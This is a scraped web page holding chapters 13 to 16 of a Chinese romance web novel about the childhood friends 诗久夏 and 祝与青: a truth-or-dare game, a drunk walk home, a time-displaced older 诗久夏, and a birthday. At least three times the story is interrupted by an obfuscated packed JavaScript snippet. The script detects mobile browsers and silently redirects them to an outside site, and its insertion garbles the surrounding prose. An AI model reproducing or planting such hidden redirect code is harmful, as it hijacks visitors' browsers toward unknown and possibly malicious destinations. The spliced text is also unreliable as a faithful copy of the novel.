他分不清对方的脸红是因为刚刚的调侃,还是心里真的想到了哪个喜欢她,会软着声音说姐姐真漂亮的男生。 反正不是因为他。 这么一首小甜歌从嘴里唱出来竟有些涩。 涩得他难开口。 这首歌真讨厌。 他回去就要把这首歌加入永久黑名单,也不准诗久夏在他面前听。 祝与青垂着眼心不在焉的唱完,心却放松不下来,反而越收越紧,鼻腔里都泛起些酸涩。 包厢里又安静下来,谁都没挑刺,连路谨言都安分得不行,一句话没说,也没犯贱,倒是一向不怎么说话的裴逢不甚在意的问了句: “久夏,你喊过与青哥哥吗?” 13. chapter 13 做姐姐 说者无心听者有意,裴逢只是单纯的好奇,诗久夏却是一下从脸红到耳尖,比斯郁做坏事被抓到的反应还大。 诗久夏简直想跪下来求裴逢别说话了。 先不说现在他和祝与青现在是冤家关系,问她小时候有没有喊过对方哥哥合不合适!!! 就算!!!他们不是冤家关系,互相回忆童年也够尴尬!!! 更何况!!! 她小时候何止是会喊祝与青哥哥!!! 不说她从小就嘴甜见一个喊一个,平日里“哥哥”就一箩筐一箩筐的往外送。 就单和祝与青撒娇,她都快把哥哥两个字都喊出花!更别说平日里的哥哥长哥哥短。 尤其诗久夏换牙,诗妈不让她吃糖和蛋糕,那个时候喊的更是勤快,为了吃蛋糕简直无所不用其极,喊哥哥只是最不起眼的招数。 哥哥?心肝宝贝她都喊过,哥哥算什么? 眼见一向平静的诗久夏反应这么大,一下子也把其他几人的好奇心勾起来,纷纷盯着她,好奇她给出的答案。 这个时候回答她到底有没有喊过祝与青哥哥实在是有些尴尬,诗久夏沉默两秒后强装镇定,放在桌下的手用力到快把桌布抠破。 “……又不是我输了,看我干嘛?” 诗久夏躲避的眼神实在太明显,再迟钝的人都能察觉到有鬼,更何况这群鬼精鬼精的人,就连方惊芜也“叛变”,跟着路谨言抑扬顿挫的“喔~~”了一声。 越怕什么发生什么就会发生的定律不会欺骗任何人。 下一轮的瓶口在转悠十几下后对准了诗久夏。 诗久夏一脸不可思议的抬眼望向眼里藏不住八卦的斯郁,又看了一眼对准自己的瓶口,用眼睛对斯郁进行了一千遍控诉。 被戳穿的尴尬丝毫没有斯郁想知道这个答案的好奇重,他毫不犹豫的避开诗久夏谴责的目光,以告诉对方装乖没用。 谁都知道诗久夏选什么都一样,但路谨言还是装模作样的问了句:“真心话还是大冒险?” 选真心话,那肯定是有没有喊过祝与青哥哥这个问题。 要是选大冒险那更是不用猜,除了让她喊祝与青哥哥,她想不出这群人还能让她做出其他什么来。 选不选已经没有意义了,诗久夏闭上眼,顶着自己快熟透的脸,破罐子破摔般说了句, “喊过,从小喊到大。” “哗啦”一声,椅子与地板的摩擦声响在宽阔的包厢里。 诗久夏站起身揪着自己的裙边,羞耻的已经感觉不到周围那些“火辣辣”的视线了。 “我去趟卫生间。” 说完没等服务员帮忙指路,迅速将沉重的包厢门拉开一条小缝,“唰”的从缝里溜了出去,根本抓不住。 浇了好几捧冷水洗脸,诗久夏撑在洗手台上缓气。 脸上的灼烧感一直散不下去,诗久夏又狠狠拍了下脸,将脑海里那些乱起八糟的画面赶出去。 她跑出来其实和包厢里的人没有任何关系,也不是真的被有没有喊过哥哥这个问题尴尬祝了。 ……而是在说出“从小喊到大”那句话时脑子里浮现出了一幅堪称惊悚的画面。 ——两岁的祝与青比她矮很多,小小的白白的一个,深蓝色的眼睛睁得又大又圆,抬头看对他来说此时算是巨人的她,小手抓着他的蓝色裙摆,抿起唇小声喊了一句“姐姐”,又乖又萌。 可爱得诗久夏想流鼻血。 她被这幅场景骇住,又忍不住回想祝与青两岁时的模样。 她和祝与青的长大是同步的。 年龄不断增长,祝与青的模样也一直在她脑海里变化。 如果要让她自己想象两岁时的祝与青是什么样子,她大概想象不到,但青梅竹马的好处就在这里。 ——家里到处都是他俩的照片。 从满月到一百天,周岁,新年,几乎每年的每个时间段都有留存。 家里的长辈会把这些照片做成相册,分成四份,她和祝与青一人一份,另外两份在诗久夏的妈妈涂无虞和祝与青的妈妈林云鸢手里。 相册里最近的一张照片还是今年春天,林云鸢带着她和祝与青去公园散步,在一颗垂丝海棠下拍下的。 她没事或者睡不着时就会去翻那本相册,看看小时候的祝与青,看小小的祝与青手中拉着的小小的她。 他们总是出现在同一张照片中。 春天里并肩坐在高高的枝头,她手中抱着一捧黄色的迎春,从里面摘下一朵别在祝与青发间,弯唇冲他微笑。 祝与青坐在她旁边,环住她的腰,手里抓着一颗荔枝味的棒棒糖。 夏天里坐嫩绿色的香樟树下,她抱着半个西瓜吃得满嘴红,把最大块的果肉递到祝与青唇边,白裙上沾着几滴西瓜水。 祝与青拿着一把小蒲扇为她扇风,草地上还有一瓶雪碧。 秋天里站在缀满柿子的树旁,她左手拿着一袋暖和的板栗,将右手中的脆柿喂到祝与青嘴里,嘴里塞的满当当。 祝与青手臂上搭着她的红色围巾,咬下嘴边的柿子,右手抓着一把板栗壳。 冬天里躺在落满白的雪地上,她轻咬着香甜软糯的烤红薯,将极漂亮的紫薯放在祝与青手中,身上覆着一层薄薄的雪。 祝与青挨在她旁边,手上是把雪夹成小鸭子形状的模具。 一晃多年,她们已经走过十七个四季了。 诗久夏打开水龙头,慢慢在水流下冲手,感知水的流逝,内心平静下来。 如果她真的是祝与青的姐姐,大概祝与青会被她带着栽更多坑吧。 脸上热度褪散去,诗久夏去吧台点了七杯银耳汤,端着回包厢。 打开门又是一阵鬼哭狼嚎,方惊芜坐在座位上朝她挥手,还没等她落座就开始吐槽。 “刚刚转到我,斯郁让我唱路谨言视频软件里第一个BGM。” “你知道他打开视频软件,刷到的第一个视频BGM是什么吗?” 方惊芜被摧残的灵魂出窍,精神状况不太美丽,“《兄弟别哭泣》。” 方惊芜完全没有给诗久夏说话的机会,满心满眼都是对路谨言品味的怨念。 “你听过那首歌吗?” 方惊芜握着诗久夏的手又用力了几分,念课文一样将歌词念了出来,“如果有天我爱上你的老婆,你的老婆也爱上我。” “哎,不是,我的视频软件平时真的不这样。” 路谨言急的从座位上站起身,在方惊芜周边左绕右转,解释,“我平时真的不看这些……” 路谨言看着比刚逃出门的诗久夏还羞恼,满脸解释不通的慌乱。 另一侧的方惊芜根本不想听,拉着诗久夏吐槽路谨言这么一个根正苗红的大好青年,人品和思想竟然有问题,美商还差得出奇。 桌上又是一片打打闹闹的氛围,诗久夏被卡在方惊芜和路谨言中间,进也不是退也不是,不知到底该向着谁。 斯郁眼睛亮亮的盯着瞎在方惊芜身边转悠的路谨言,裴逢端着酒瓶和祝与青碰杯。 等等。 碰杯??!! 谢敬摆银耳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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把方惊芜,斯郁和还算清醒的裴逢送上车,谢敬捞起蹲在地上画圈圈的路谨言,指指扶着祝与青的诗久夏。 “你一个人能行吗?” 停在身边的出租车打起车灯,诗久夏扣齐祝与青的外套纽扣,把祝与青往车里推。 “祝与青喝醉之后不闹腾,没事的,你们也快走。” 关上车门,诗久夏打开车窗朝谢敬喊了句“注意安全”,声音消散在疾驰离去的风里。 吃饭的地方离家不远,诗久夏在离家门还有几百米的地方下车,扶着祝与青站在路边。 刚打算等他缓一会儿再走路,包里的手机忽然响了起来。 诗久夏将祝与青按在路边,在他两步远的距离外,从包里翻出手机按下接通键。 电话是祁连打来的。 学校打算拿几天时间举办一下早该举办的春游,需要学生会组织一下投票,顺便统计下学生的意愿地是哪里。 数据要的急,明天和后天郑怀要出差也没时间,才不得不晚上打电话给诗久夏。 诗久夏耳朵听祁连讲,眼睛一直看着蹲在路灯下的祝与青,应下要求,大概估了个提交数据的时间挂了电话。 走到祝与青身前,诗久夏竟莫名觉得祝与青现在的模样和她想象中的那副喊姐姐的场面融合了。 她现在好像真的在当祝与青的姐姐。 诗久夏被自己的想象逗笑,张开五指在祝与青面前晃了下,“知道我是谁吗?” 14. chapter 14 一起去 烈日将树叶晒烫,地表带上烤人的温度,泡沫拖鞋踩下再抬起时拉上些细丝。 知了在树上没完没了的叫个不停,庭中的凉井里放着两颗又大又圆的西瓜。 “与青哥哥!” 小女孩穿着漂亮的蓬蓬裙,柔顺的双侧麻花辫垂在两肩,粉色的花朵双面夹别住她还未能完全扎起的碎发。 蹦蹦跳跳的走到他面前。 肩膀被一双小小的手搂住,诗久夏把肉乎乎的脸凑到他面前左晃右晃。 “今天我们可以一起吃一颗大白兔奶糖吗?” 被他搂住的男孩神色未变,对她的撒娇无动于衷,刚要张口拒绝,女孩吧唧一口亲在祝与青右脸,哼哼唧唧。 “如果今天与青哥哥让我吃两颗糖,我就是世界上最幸福的小女孩!” “让我吃一颗好不好?就一颗!” 三岁的诗久夏瘪起嘴,竖起一根拇指,楚楚可怜的祈求着。 诗久夏是一个可以为了达到目的“不择手段”的人。 祝与青很早前就知道这一点,并且“深受其害”。 四岁,诗久夏忽然开始对甜的东西上瘾,诗妈对她无节制的吃糖行为进行了严厉的批评。 把整个家从上到下搜了一遍,确认家里没有任何地方能找出糖后,去了祝与青的院子。 和他认真解释诗久夏为什么不能多吃糖,不然会生病后,她拜托了祝与青看着诗久夏,不准她出去买糖吃。 听到涂无虞的吓唬,祝与青自然坚决执行嘱托,坚决不给诗久夏买任何糖和含糖量高的食物。 诗久夏大概也知道这一点,于是后来她也不再向祝与青要糖吃,而是撒娇要起了蛋糕。 对于甜品诗久夏其实并不算太热衷,甚至从小到大都只吃隔壁街唐姨家的蛋糕,要不就是嫌其它家蛋糕太甜太腻,要不就是有怪味。口味之挑剔。 起初祝与青不肯带她去买,诗久夏为此撒了很多娇。 包括“与青哥哥你对我最好”,“全宇宙最好的与青哥哥可以给我吃一块蛋糕吗?”,“我最喜欢你了” 或者直接凑上前撅着小嘴往他脸上亲。 只有他想不到的,没有诗久夏做不到的。 可纵然如此祝与青还是没给诗久夏买过糖和蛋糕,甚至会在她偷偷跑去买时把她抓回来。 但诗久夏是何其聪明的人,她知道祝与青疼她,撒娇没用,就换了一种方式。 她不再向祝与青索要蛋糕,也不再告诉祝与青自己想吃蛋糕,而是跑到街角哪家蛋糕店门口站着。 不进去,就眼巴巴的在门外朝里看。 祝与青去找她时就会看到那么一幅场景: 比他矮半个头的诗久夏扎着他昨晚学的鱼骨辫,穿着一条及膝的小白裙,脚下亮晶晶的公主鞋在太阳下闪着光,就那么可怜兮兮的站在蛋糕店门口,也不敢进去,就那么怯生生的站在哪儿。 拒绝的态度有多决绝,那一秒就有多心疼。 他当然知道诗久夏是故意的,是刻意装出来骗他的,可祝与青还是心软了。 他第一次认了输,牵着诗久夏走进了那家蛋糕店。 毫无疑问,那天诗久夏得到了蛋糕吃。 盯着吃的满脸幸福的诗久夏,祝与青第一次想:诗久夏就该什么都有,就该想要什么就有什么,一辈子待在幸福里。 祝与青忽然想回到小时候。 回到那个还能拥抱,无所顾忌的和他撒娇,脸颊贴着脸颊,不管吃到多好吃,多喜欢的,都会喂几口给他的小时候。 诗久夏站在她面前,细长的丹凤眼里藏着和以前的那些年里,一样的温柔和好奇。 眼尾的左眼眼尾的那颗小痣因为距离拉近在他眼里那样显眼。 她弯唇笑起来,又忽然认真地看着他,一脸郑重地说:“其实我是你姐姐。” “……” “以后你就跟着我吧,我会保护你的!我还会给你好多好多好吃的,保证饿不着!” 诗久夏还沉浸在哄骗醉鬼的游戏里,大言不惭的放下会一直保护他的狠话,仿佛那个小时候带着祝与青挨打的人不是她一样。 “你这么白,我会在夏天给打伞!带你去抓蛐蛐!还会教你爬树,爬我们院子里那颗高高的榕树!” 诗久夏畅所欲言的和祝与青描述自己会带他去做的事。 “或者带你去抓蝌蚪!我还会在你睡不着的时候给你讲故事!讲白雪王子!” “很早很早前,王国里……帅气的久夏骑士吻上沉睡已久的与青王子!与青王子嫁给了英勇的久夏骑士,他们一起去拯救了被不负责的父亲不管不问的灰姑娘,被偷走衣服困在人间的织女……” 诗久夏在祝与青面前龙飞凤舞的描述着早已偏离故事结局,最后与青王子和久夏骑士仗剑走天涯的童话故事,只有祝与青一直一错不错地盯着诗久夏。 抓蛐蛐,爬树,抓蝌蚪,打伞,牛头不对马嘴的故事。 这些都是小时候的诗久夏带他做过的事。 不过抓蛐蛐和爬树最后的结局是祝与青被晒伤,诗久夏挨了一顿毒打,后来夏天出门诗久夏就一定会给他打伞。 抓蝌蚪的结局是两个人一起坐在泡着脏衣服的盆前从洗衣服的惩罚变成吹泡泡的奖励。 至于讲故事。 是某段时间祝与青忽然怕起黑,诗久夏担心他睡不着,执着于拍着他的背,篡改一些自己认为并不合理的剧情,改成自己满意的故事,讲给他听。 小时候的诗久夏就执着于与青王子被久夏骑士吻醒,去拯救不幸福的灰姑娘和织女,最后一人一马仗剑走天涯的童话故事。 没想到十七岁的诗久夏还这么执着这个结局。 原来诗久夏一直都没变,变的只有他。 喝醉酒的祝与青大脑异常清醒,他只是一直看着那个穿着蓝色长裙,细碎的发丝跟着在空中舞动的女孩,在这么一个普通的夜晚,无拘无束的描绘自己所热爱的世界。 被拯救的与青王子,活在苦难里的灰姑娘和织女,有他们守护的太平人间,江湖上的侠肝义胆,互相为伴。 诗久夏说了很久很久,说完之后又去看站在路灯下的祝与青。 祝与青还是站在那里,身姿挺拔,浅蓝色的衬衣在今天的玩闹中起了些褶子,里面的白T一点污渍没沾上,碎发被袭过的冷风吹起,零零散散的飞起几根,深蓝色的漂亮眼睛一直看着她,半点看不出喝醉的样子。 诗久夏仿佛又发现了什么有趣的玩具,挪动脚步往旁边站,看祝与青的眼睛也跟着她的脚步往旁边转。 往左往右,几个来回后诗久夏噗嗤一声笑出来,不再逗弄祝与青,径直走到他面前。 想起自己刚刚做的动作和说的话,诗久夏又看看安静站在原地十分乖巧的某真醉酒男子,十分诚恳地说: “如果路谨言他们看到,估计会问我俩到底是谁喝醉了。” 一股橘子调的苦涩,夹杂着清新的草香钻进她的鼻腔。 诗久夏又往前凑了几分,去嗅那股才闻到的淡淡的香味。 是她送的香水。 还带着股好闻的祝与青的味道。 “要不我俩明天请假,现在带你出去玩吧?”诗久夏突发奇想。 “现在是夏天,我们去爬树摘荔枝吧?” 祝与青这次没有任由她自说自话,抬眼,“然后我们一起被打。” 诗久夏愣了下,换了件要做的事。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502259|170401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “那我们去芭蕉树下乘凉!” “然后我们一起被打。” “那就去山坡上看星星!” “然后我们一起被打。” “那去抓小鱼!” “然后我们一起被打。” “去无边无际的草地边骑车!” “然后我们一起被打。” “……” 诗久夏终于被气死了。 “除了被打你就不能说点别的什么吗?” “除了带着我挨打,你还做过其他?” “……” 诗久夏陡然沉默。 祝与青怕对方不记得,好心替诗久夏回忆起了童年。 “三岁,你带着我往牛粪里扔鞭炮,我俩糊了一身屎,回家跪了俩天,挨了一顿打。” “三岁半,你熊出没上瘾,带着我去人家果园里,拿把斧头把人家树砍了,大喊小熊熊别跑,我俩吃了一顿“竹笋炒肉”。” “四岁,你不知从哪听说人能和动作沟通,带着我抓了只鹅放在房间,天天喂它吃维生素,神神叨叨的让它和你说话,涂阿姨以为你中了邪,我俩被神叨叨的道士以鬼气缠身,打了一通。” “四岁半,你带着我把诗叔埋在地里的酒挖出来,一人一杯的倒着喝,我俩醉倒在花坛边,我妈发现时还以为我俩死了,醒后又是一顿狠抽。” “五岁,你带着我跑去菜市场买鱼,说要做鱼给我吃,回家后直奔厨房,倒了一锅油,直接把鱼丢进去,差点把家烧了,我俩喜提毒打加两天不准吃饭。” “五岁半,你带着我出去野餐,跑到距离家几公里外的荒地上,结果找不到回家的路,抱着我在荒地上睡了一家,警察和我妈找到我们时被打到差点上新闻。” 祝与青神色平静的揭了一通短,说完之后问诗久夏。 “你刚说还要带我去干嘛来着?” “……” “其实……”诗久夏恨不得把自己埋起来,“我们明天还是当乖宝宝去读书吧。” “我们要做一个对社会有用的人!” “……对,我们要做对社会有用的人。” 诗久夏避开祝与青一本正经的询问,开始了胡言乱语。 祝与青看着对方心虚的模样,很轻很轻的弯了下眼睛。 闹够说够,诗久夏开始扶着祝与青慢慢往回家路走,时不时问他难不难受,想不想吐,酒劲慢慢上头,祝与青有些无法控制手脚,一步步走的很慢。 位置忽然调换,祝与青换个方向走到了诗久夏左侧,挨着车辆方的位置,把扶着他的人护在里面。 他不敢把自己全部的重量压在诗久夏身上,只是轻轻扯着对方扶他的衣袖,勉强保持身体的平衡,实在晕的厉害就拉着诗久夏在原地站会儿。 道路俩边的树木跟着他们的脚步声哗哗作响,拂过脸侧的风不热不燥。 摇摇晃晃走了好一会儿,他们终于站在了大门前,走进去时祝与青抿唇侧头看了身边的诗久夏一眼。 她还是笑着,碎发散在她鬓间,眼睛里带着勇敢和坚定。 “诗久夏。” 祝与青喊她。 “怎么了?” 诗久夏以为祝与青晕,大半个身体靠过去,把祝与青的手臂放在自己肩膀上,扶着他的腰。 “……你很蠢。” “喝醉了嘴还这么贱吗?” “你喝不喝都那么蠢。” “是是是,谁能有你聪明啊,大少爷——” “……你小时候真的带着我挨了很多打。” “我现在也可以带着你挨很多打。” 有问有答的声音跟着月季花香飘向街道,塞进十七岁的少年梦里。 15. chapter 15 晒乌龟 祝与青躺在床上时刚好九点。 诗久夏挂好包,脚步声渐远,走去厨房,动静很轻,翻箱倒柜了好一会儿才找出蜂蜜,用祝与青常用的玻璃杯调好水后端回卧室。 站在床前犹豫两秒,诗久夏还是轻轻推了推祝与青的肩膀,把他叫起来。 “等会儿再睡,先喝点蜂蜜水,不然明天头疼的厉害。” 将祝与青大半个身子立起来,诗久夏坐在他身后,杯口轻轻抵上祝与青的唇,把动作和声音都放轻,几乎是用哄的语气在说话:“不是很甜,就喝一小口。” 诗久夏的心跳声贴在他身后,祝与青能明显感受到对方胸腔处有力的震动和脖颈处的脉搏频率。 递到唇边的水温度刚好,就连甜度也是他正好能接受的。 实在找不出借口来拒绝,祝与青老老实实的闭着眼抿了几口,又躺回去。 诗久夏也不刁难他,将喝了一半的水杯放在床边伸手就能拿到的柜子上,没有在对方闭上眼后立马走人,甚至怕他休息不好,拿着试卷在他房间刷了好几套题。 月亮高悬半空,诗久夏起身替祝与青拉了拉身上的薄被,确认祝与青不会半夜闹不舒服才把小夜灯调到合适的亮度关门走人。 拖谢敬看着和诗久夏的蜂蜜水的福,祝与青第二天早上起床时头疼还在能接受的程度。 只是下课时睡得多了些,张婷红看见时还过来问了句“昨天晚上是不是偷牛去了”。 比赛越来越近,诗久夏下午又被叫去办公室一趟,比平时放学完了二十几分钟。 回家路上方惊芜又狠狠骂了一遍不做人事的校领导。骂完又偷偷凑过去和诗久夏聊送什么生日礼物。 路谨言则是继续和祝与青扯自己酒量有多好,酒品有多好,听的谢敬想打人。 最后实在是没忍住,一个拳头扣在了路谨言头上。 “酒品好?你知道你在出租车上说了什么吗?” “指着司机的脑袋说这西瓜又大又圆又亮,把你嘴捂住你还变本加厉的要伸手去摸。” “人司机脸都绿了,我说了好些好话才让人家不和你计较。你还骄傲上了。” 谢敬越说越气,决定以后一起吃的所有饭里,第一件事就是先看着酒。 路谨言挨了一顿批,老实下来,也不敢在谢敬面前嚣张了。 下午从陶瓷店回家,打开大门时诗久夏还以为自己走错了院子。 两只乌龟“虎虎生威”的爬在大门口,像看守的石狮子,抬眼打里一看,场景更是颇为壮观。 庭院的空地里,榕树上,晾衣绳上,全都是乌龟,整齐有序的排列在各个地方。 一时分不出是院子里放着乌龟,还是乌龟堆里长出个院子。 诗久夏被这场面狠狠震惊住了,站在门口一时不知该往哪里下脚。 瞥见晾衣绳旁的身影,诗久夏跳出一堆乌龟的包围圈,两步快走到祝与青身边,又环顾了一眼四周。 “你要在院子开乌龟总动员还是人龟大战?” 祝与青手上动作未停,瞥了她一眼,继续把手中的乌龟往晾衣绳上挂。 “还知道这么多乌龟壮观?抓的时候怎么没想到?” “咳咳。”诗久夏思维停滞一瞬,掩饰般地咳了咳,心虚的转移视线,摸摸鼻子。 见诗久夏一直杵在原地不动,祝与青随手摘下一只干的差不多的乌龟放在诗久夏怀中,敷衍道:“去玩吧。” “……” 祝与青的生日越来越近,诗久夏又回了自己的房间。 陶瓷店和蛋糕店跑得越来越勤,半夜写完作业又跑去陶瓷店拉胚是再正常不过的事。 周纯清和唐萍看她来的这么勤,直接把店门钥匙给了她,走之前也会给她留些材料。 周四晚上凌晨两点,诗久夏偷偷摸摸关上大门,朝着陶瓷店跑去。 后天祝与青生日,她必须赶在今晚把泥胚做好,让陶瓷能在后天晚上之前烧制出来。 大门嘎吱一声合上,院子里恢复寂静,没一会儿亮着小灯的房间灯光一下亮起来。 祝与青随手披了件外套,在房间外的走廊中立定,眼睛直勾勾的看着留着一条小缝的大门。 从房间里拿出一根小板凳和复习题,祝与青将卧室的门大打开,坐在门口刷起题。 他已经很多天没有睡觉了。 每晚诗久夏出门后他都会这样坐在门口,卡着时间,在诗久夏回来的前几分钟回房间,等对面房间的灯灭之后再睡觉。 他没问诗久夏去了哪里,还是和以前的每一天一样,装什么都不知道,然后在诗久夏自己都不知道怎么找补时说她蠢,或者互相呛一下对方。 周遭寂寥,庭院中只有时不时响动的翻页声。 二十七岁的诗久夏蹲在祝与青旁边,撑着脸看这个安静当守门人的傻子。 系统除了最开始的下达任务就好像消失了似的,再也没在她脑海里出现过,短暂的像是她的幻觉。 她没法离开,除了十七岁的自己和十八岁的祝与青身边,她那都去不了。 她也无法触碰到任何东西,谁都无法听见她说话的声音,也碰不到她,像一个完全透明的存在。 诗久夏回涂蓝翼那儿的时候她也在,不过她还是没有跨过那个门槛,毕竟那对她而言可能只是镜花水月,她也还没有勇气走到涂蓝翼身边。 “你守了这么几天都不舍得告诉她?” 诗久夏侧身去看祝与青的复习题,捣蛋小孩似的伸手在他面前晃。 祝与青当然察觉不到一只手已经伸到了自己面前,还在专心计算物理习题的最后一问。 “我十七岁的时候怎么没发现你是这么闷骚和打死不吭声的性格?” 诗久夏自顾自地拨弄着祝与青晃动的笔盖,有些无聊的叹口气,“我俩十七岁的思维方式怎么完全不一样?虽然二十几岁时的思维方式也不一样。” “你这个时候到底在想什么啊?好想扒开你的脑子看看。” 把玩着从榕树上摘下的叶子,诗久夏嘀嘀咕咕的表达着自己的不满。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她说了很久很久,甚至没发现旁边的人已经停了笔。 “祝与青。” 诗久夏终于说累了,平静下来,小声喊着祝与青的名字。 晚风吹起诗久夏飘在鬓间的耳发,她转头看着祝与青那双捉摸不透的眼睛,伸手轻轻抚上他的眼尾。 停顿片刻,她笑起来,忽然开口:“你知道吗?你是除了爸妈外,世界上最爱我的人了。” “其实小时候我就是仗着你喜欢我,做什么事都会陪着我,所以才肆无忌惮的撒娇和捣乱。” “你对我太好了,从我们都还未明了为什么要对彼此这么好时,我们就已经没法把关心对方从自己的认知里剔除了。” 又安静了一会儿,诗久夏弯唇的弧度越来越大,眼角却划过一滴泪。 “祝与青,我爱你。” “虽然后来没少说过这句话,但十八岁的你还没听过呢。” “还有两天你就十九岁生日了,我还没送礼物给你,这句话就当二十七岁的我送给你的礼物吧。” 院中那颗陪伴了她们一生的榕树又响了起来,哗哗哗的安慰二十七岁的诗久夏,风浅浅吹来,为她拭干眼泪。 可诗久夏的眼泪怎么可能擦得干呢? 她侧过头,轻轻摩挲着祝与青的侧脸,声音很轻,带着股莫名的疼痛。 “祝与青,你不要喜欢我了。” “……然后在二十七岁时,也继续活着吧。” 16. chapter 16 祝与青生日的前一天下午,诗久夏回家的很早。 陶瓷已经在烧制过程中了,她下午只是赶着去看了一眼,没花太多时间。 从外面回家,诗久夏没回自己院子,在祝与青那洗漱完万分老实的开始写起作业。 大概是精神好,人兴奋,诗久夏在凌晨12:00,新的一天来临前写完了这些“造瘟”老师布置的写不完的作业。 22:59,距离12:00还有一分钟时诗久夏已经准备好了自己的祝福,躺在祝与青暖黄色在床上只露出一双紧闭着的眼睛装睡。 装的很假,诗久夏自己也知道,因为自己的睫毛一直激动地颤个不停。 可现在没有人会刻意去看眼皮的颤动频率。 祝与青早在地毯上睡下,手机塞在枕头下,床头直留了一盏小夜灯,空气中还留着些空调置换过的冷气。 她有一段时间没在祝与青这睡过了,被子上早已闻不到自己留下的味道,只剩祝与青独有的味道残留在床。 祝与青早已和那股清新的柑橘香融合在一起,诗久夏小口小口吸着这股味道,心里激动的数着倒计时,藏在被子里的手还有些发抖。 数字越来越近,诗久夏隐隐按捺不住自己快要跳出来的心。 好像每一秒都过的很快,凌晨的闹钟和诗久夏的祝贺声同时响起来,诗久夏竟然在那一秒忘了自己应该做什么,行动和语言全凭下意识。 “祝与青,生日快乐!” 诗久夏一把掀开被子,一咕噜翻身,以一个正常人根本想象不到,也没有正常人会做出来的姿势,直直跳到祝与青睡觉的地毯上。 成为了祝与青今日收获的第一个惊吓。 “十九岁的祝与青也要活在幸福里,小日子蒸蒸日上!讨厌的麻瓜全都消失!消失!一切的一切都顺利!一帆风顺不吃苦,前方万条顺顺路!” 诗久夏还在叽里呱啦的表达自己的祝福,祝与青已经被诗久夏这毫无预兆的动作惊到清醒,连忙直起身逮人,脸都被吓白了一瞬,心脏骤停。 手腕被人抓住,正在说话的诗久夏吓一跳,祝贺词都被这一碰忘了个一干二净,差点没叫出来,等反应过来抓她的人是谁时,才慢慢平复自己被吓到砰砰乱跳的心脏。 “你突然抓我手干嘛?吓死我了。” 她似乎完全没意识到自己是以什么姿势下的床,也完全忘记旁边就是书桌。 祝与青不说话,白着脸上下扫视诗久夏一眼,确认她没磕伤碰伤才放下紧抓的手。 抬手揉揉额头,祝与青冷静几秒,终于回过神来。 “……谢谢。” 虽然没有惊喜只有惊吓。 诗久夏毫不在意祝与青谢谢说的牵强,只高兴的伸手让祝与青去掏跟着她的祝福声响起,也开始噼里啪啦一通响,热闹的像是过年放鞭炮声的手机。 “你快看手机,快看手机。” 诗久夏瞧着比过生日的祝与青还高兴,兴高采烈的指挥着。 无奈将自己的身体缩了缩,又留了些位置给直接坐在地毯上的诗久夏,祝与青掏出了埋在枕头下的手机。 手机屏幕早已被各种消息堆满,两款社交软件上的小红点还在以想象不到的速度增加。 红包一个又一个的往外跳,祝与青没先点进去,而是点进了快到消息已经来不及弹出的一个七人群聊里。 【七神夺皇位】里正热闹着。 凌晨的时间愣是没有人睡觉,每个人都卡在了00:00在群里刷祝贺消息。 从上到下排列整齐,能看出都不是复制粘贴,因为除了生日快乐着这四个字…… 都不大好听。 【好香的一坨大狗屎】:大少爷十九岁生日快乐,新的一岁已经启程,希望嘴贱有所改善。 【好大一根胡萝卜】:十九岁生日快乐!希望新的一岁逃离各位老师的五指山。 【FFF】:生日快乐。头发永在。 【好的好的】:祝生日快乐,新的一岁成功去除搞笑形象。 【^_^】:与青生日快乐??(??????????)??,望摆脱第三。 看不出是在祝人生日快乐,倒像是在揭短和嘲讽。 好似那个几十年不见的冤家,一有说话的机会就要揭揭身上最痛的疤。 祝与青面无表情的在群里道了谢,最后戳戳手指,在群里发了条消息。 【YQ】:@好香的一坨大狗屎嘴贱还能改,你人贱改不了 带枪夹棒的互怼一通,祝与青关闭了聊天框,回复了自家爸妈和诗家爸妈的消息。 两位妈妈都是先发的生日快乐,一段不长不短但格外真诚的祝福,再往下就是红包。 两位爸爸要更简单一些,除了生日快乐外就是银行卡入款的到账信息。 一一表达感谢,又礼貌的做了回复,最后嘱咐了一遍注意安全,祝与青才点开大概扫一眼其他给发消息的人。 祝与青其实一直对自己的交友圈没有太大的概念,直到看到一眼划不到的底的聊天列表才真的发现自己认识的人很多。 来发生日快乐的最多的是高中同学,其次是初中同学,还有隔着时差的留子朋友。 熟的大概回个几句,问问最近的生活,不熟的礼貌的回个谢谢。等祝与青放下手机已经快凌晨一点。 诗久夏人坐在地毯上,手臂轻垂在盘着的双腿上,侧身挨着床边,头搭在暖黄色的被子上,眼下的黑眼圈有些显眼,似乎很久没睡过一个好觉了。 一个很别扭的姿势。 卧室里还是只留着一盏暖黄色的小灯照明,诗久夏似乎是打算陪他回完消息一起睡,结果没忍住半路睡了过去。 小声叹了口气,祝与青拎起诗久夏的胳膊和腿仔细检查了一遍,再次确认没红肿和青紫后,把诗久夏放回床上,扯过被子盖住。 诗久夏第二天起床的时间比往日早了十分钟,顺带把还蜷在被子里不想动的祝与青薅了起来。 将迷糊着洗漱完还没怎么清醒的祝与青推到房间外,祝家的林阿姨和诗家的张阿姨正将长寿面从厨房端出来。 俩人笑呵呵的对视一眼,将面放在桌子前,朝祝与青招手。 “与青生日快乐,快来吃面。” 俩位阿姨都是把诗久夏和祝与青从小带到大的,看这俩孩子跟看自己孙子孙女没区别,诗祝俩家也没兴什么主仆那一套,彼此都亲近。 林姨站在旁边,一边笑一边夸:“今天真有精气神,鸡蛋是你张姨卧的,还是今早去菜市场买的新鲜鸡蛋。” 诗祝俩家还留着一些喜庆的老习惯,每人生日时都会有碗香香的长寿面,里面会卧两个鸡蛋。 